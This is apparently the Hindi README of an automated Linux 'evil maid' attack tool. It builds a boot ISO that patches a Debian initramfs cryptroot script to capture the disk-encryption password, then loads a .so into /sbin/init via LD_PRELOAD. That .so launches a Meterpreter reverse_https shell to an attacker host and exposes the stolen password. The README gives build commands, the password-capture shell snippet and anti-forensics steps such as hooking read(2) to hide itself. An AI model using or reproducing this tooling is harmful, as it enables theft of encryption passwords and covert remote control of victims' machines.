
स्वचालित Linux ईविल मेड हमला

/sbin/init में .so फ़ाइल, एक शेल गिराता हैLD_PRELOAD .so को DefaultEnviroment में, वैश्विक रूप से लोड, एक शेल गिराता हैpython/meterpreter/reverse_https कम्पाइल समय LHOST परgetenv PASSWORD)अधिक जानकारी/कॉन्फ़िगरेशन के लिए Makefile देखें, .so बनाने के लिए वातावरण में LHOST आवश्यक है क्योंकि msfvenom कम्पाइल समय पर पाइप किया जाता है। बिल्ड मशीन पर libcrypsetup-dev (या समतुल्य) स्थापित होना भी आवश्यक है।
सामान्य निर्देश (cwd में iso इमेज बनाता है):
LHOST=192.168.56.101 make rev.so iso
कर्नेल बूट में निम्नलिखित विकल्प जोड़े गए हैं:
mc superuser nodhcp quiet loglevel=0
इसके अलावा, पूरी तरह से स्वचालित निष्पादन की अनुमति देने के लिए prompt मान 0 पर सेट किया गया है।
अनुमानित दुर्भावनापूर्ण बूट -> बैकडोर समय: ~2 मिनट अनुमानित वैध बूट -> शेल ~90 सेकंड (कॉन्फ़िगर करने योग्य, हम चाहते हैं कि नेटवर्क हमसे पहले ऊपर हो)
core.d नीचे दिए गए पैकेजों के साथ मर्ज किया गया TinyCore से अनपैक्ड core.gz है।
Core-current एक अनपैक्ड Core-current.iso है
निम्नलिखित पैकेज tinycore के अंदर स्थापित किए गए हैं (python, फ़ाइल सिस्टम समर्थन):
न्यूनतम हस्ताक्षर इस प्रकार है:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS इस OS के लिए एक अद्वितीय नाम है।IDENTIFIER एक शेल कमांड है जो सही initrd पर चलने पर निकास कोड 0 देता है, और अन्य कुछ के लिए !0 देता है।ROOT पूरा पथ या वेरिएबल है जहाँ डिक्रिप्शन के बाद नया रूट माउंट किया जाता है।FILENAME हमारी बाइनरी को रूट फ़ाइल सिस्टम पर छोड़ने का पूरा पथ है। ध्यान रखें कि initrd क्या माउंट करता है और बाद में क्या माउंट होता है।INITRDFILENAME initrd के अंदर बाइनरी का पूरा पथ है। यह Makefile के अंदर कॉपी किया जाता है (cp ... core.d/...) इसलिए यह उससे मेल खाना चाहिए।उसके बाद, *FILE, *PRE, *POST का प्रत्येक त्रिक re.sub के रूप में initrd के विरुद्ध चलाया जाता है (उदा., re.sub(*PRE, *POST, *FILE). *PRE और *POST की सामग्री .format(**config[detectedOS]) का उपयोग करके विस्तारित की जाती है, इसलिए आइटम इंजेक्ट करने के लिए अपने हस्ताक्षर का विस्तार करने में संकोच न करें।
आप जितने चाहें उतने प्रतिस्थापन चला सकते हैं।
\\1 मिलान (*PRE) की पूरी सामग्री का विस्तार करेगा जब रिप्लेस (*POST) के अंदर उपयोग किया जाता है।| $ सेpython/meterpreter/reverse_https मेटास्प्लॉइट पेलोड को चुना गया क्योंकि यह linux/*/meterpreter/reverse_tcp पेलोड की तुलना में अधिक प्लेटफ़ॉर्म स्वतंत्र है। python परीक्षण किए गए सभी सिस्टमों पर डिफ़ॉल्ट रूप से स्थापित प्रतीत होता है।
डिफ़ॉल्ट रूप से, पेलोड कम्पाइल समय पर उत्पन्न होता है और .c फ़ाइल में #define के रूप में पाइप किया जाता है। इससे पुनरावृत्तियाँ आसान हो जाती हैं, लेकिन पेलोड को सहेजना और मैन्युअल रूप से डालना मुश्किल नहीं होना चाहिए।
डेबियन आधारित सिस्टम (Debian, Ubuntu आदि) initramfs के रूप में एक मानक gzipped cpio इमेज का उपयोग करते हैं। इसमें डिफ़ॉल्ट /init स्क्रिप्ट होती है जो पूर्ण बूट के लिए सिस्टम तैयार करने के लिए चलती है। इसमें उपयोगकर्ता से उनका पासवर्ड पूछना और एन्क्रिप्टेड रूट फ़ाइल सिस्टम को माउंट करना शामिल है।
अपने .so को गिराने के लिए, हम तब तक प्रतीक्षा करते हैं जब तक रूट फ़ाइल सिस्टम माउंट नहीं हो जाता (अर्थात उपयोगकर्ता से उनका पासवर्ड पूछे जाने के बाद) और .so को /dev फ़ाइल सिस्टम में कॉपी करते हैं। /dev फ़ाइल सिस्टम को चुना गया क्योंकि यह rootfs स्विच होने से ठीक पहले सुलभ है और यह रैम आधारित माउंट है। इसका मतलब है कि हमारा .so डिस्क को नहीं छुएगा।
वास्तव में गिराए गए .so का उपयोग करने के लिए, हम switch_root कॉल पर LD_PRELOAD पर्यावरण चर का उपयोग करते हैं। यह चर सभी चाइल्ड निष्पादन योग्यों को पास होता है और इस प्रकार, अंतिम /sbin/init स्क्रिप्ट में मॉड्यूल लोड होगा। इसे अपेक्षाकृत शांत रखने के लिए, हम जांचते हैं कि क्या हम /sbin/init में लोड हुए हैं, और यदि हाँ, तो हम LD_PRELOAD चर को अनसेट करते हैं और .so को हटा देते हैं। यदि हम विशिष्ट अनुप्रयोगों को हुक करना चाहते हैं तो इस कार्यक्षमता को आसानी से अक्षम किया जा सकता है।
.so के निष्पादन को बल देने के लिए, डिफ़ॉल्ट रूप से लोड करने के बाद, हम gcc फ़्लैग -Wl,-init,shell का उपयोग करते हैं, जहाँ shell हमारा मुख्य फ़ंक्शन है। यह निर्दिष्ट करता है कि हम .so के init पर किस फ़ंक्शन को कॉल करना चाहते हैं। इसे विंडोज़ के DllMain के अनुरूप समझें।
init स्क्रिप्ट का वह भाग जो उपयोगकर्ता से पासवर्ड पूछने और रूट फ़ाइल सिस्टम को माउंट करने का प्रभारी है, इस प्रकार है:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
हमारे लिए महत्वपूर्ण भाग वह है जहाँ $cryptkeyscript का आउटपुट $cryptcreate में पाइप किया जाता है। $cryptkeyscript पासवर्ड पूछने वाला है, और $cryptcreate डिस्क माउंटर है। यह पाइप हमारे लिए हमला करना बहुत आसान बनाता है। हम पाइप के स्थान पर निम्नलिखित कोड डालते हैं ताकि पासवर्ड को हमारे .so के अंत में लिख सकें:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
यह पासवर्ड को वेरिएबल $P में पढ़ेगा, और इसे .so के अंत में लिखेगा और फिर से इको करेगा। यह कोड $cryptkeyscript और $cryptcreate के प्रयोजनों के लिए पारदर्शी होगा, लेकिन इसका दुष्प्रभाव पासवर्ड को बाहर निकालना होगा। हम पासवर्ड में एक नल बाइट (शेल एस्केपिंग के कई स्तरों के लिए जिम्मेदार) जोड़ने के लिए \\\\\\\\x00 का उपयोग करते हैं। इससे हमारे .so के लिए पासवर्ड को वापस पढ़ना बहुत आसान हो जाता है, क्योंकि इसे केवल अपने अंत से पीछे की ओर तब तक पढ़ना होता है जब तक उसे एक नल बाइट न मिल जाए।
हमलावर को यह पासवर्ड प्रदान करने के लिए, इसका उपयोग पेलोड के आह्वान में एक पर्यावरण चर के रूप में किया जाता है। इसका मतलब है कि हमलावर पासवर्ड प्राप्त करने के लिए केवल meterpreter कमांड getenv PASSWORD का उपयोग कर सकता है।
जिस तरह से .so लोड किया जा रहा है, उसके कारण /proc/1/maps और /proc/1/environ दोनों में इसके संदर्भ होंगे।
maps फ़ाइल लोड किए गए मॉड्यूल की सूची है। निम्नलिखित अंश इस फ़ाइल की सामग्री दिखाता है। (deleted) पर ध्यान दें, जो संभावित रूप से संदेह पैदा कर सकता है। हालाँकि, सामान्य बाइनरी के विपरीत, .so को हटाए जाने के बाद सीधे मेमोरी से निकाले बिना उस तक पहुँचना संभव नहीं है।
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
environ फ़ाइल आह्वान के समय पर्यावरण चरों की NULL से अलग की गई सूची है। क्योंकि यह आह्वान से है, इसका मतलब है कि रनटाइम पर हमारे द्वारा किए गए कोई भी संशोधन (LD_PRELOAD को अनसेट करना) प्रतिबिंबित नहीं होंगे।
इन दोनों मामलों में, क्योंकि हम किसी भी और सभी सिस्टम प्रक्रियाओं में हुक किए जा सकते हैं, हम बस read(2) फ़ंक्शन को हुक कर सकते हैं और स्वयं के किसी भी संदर्भ को हटा सकते हैं।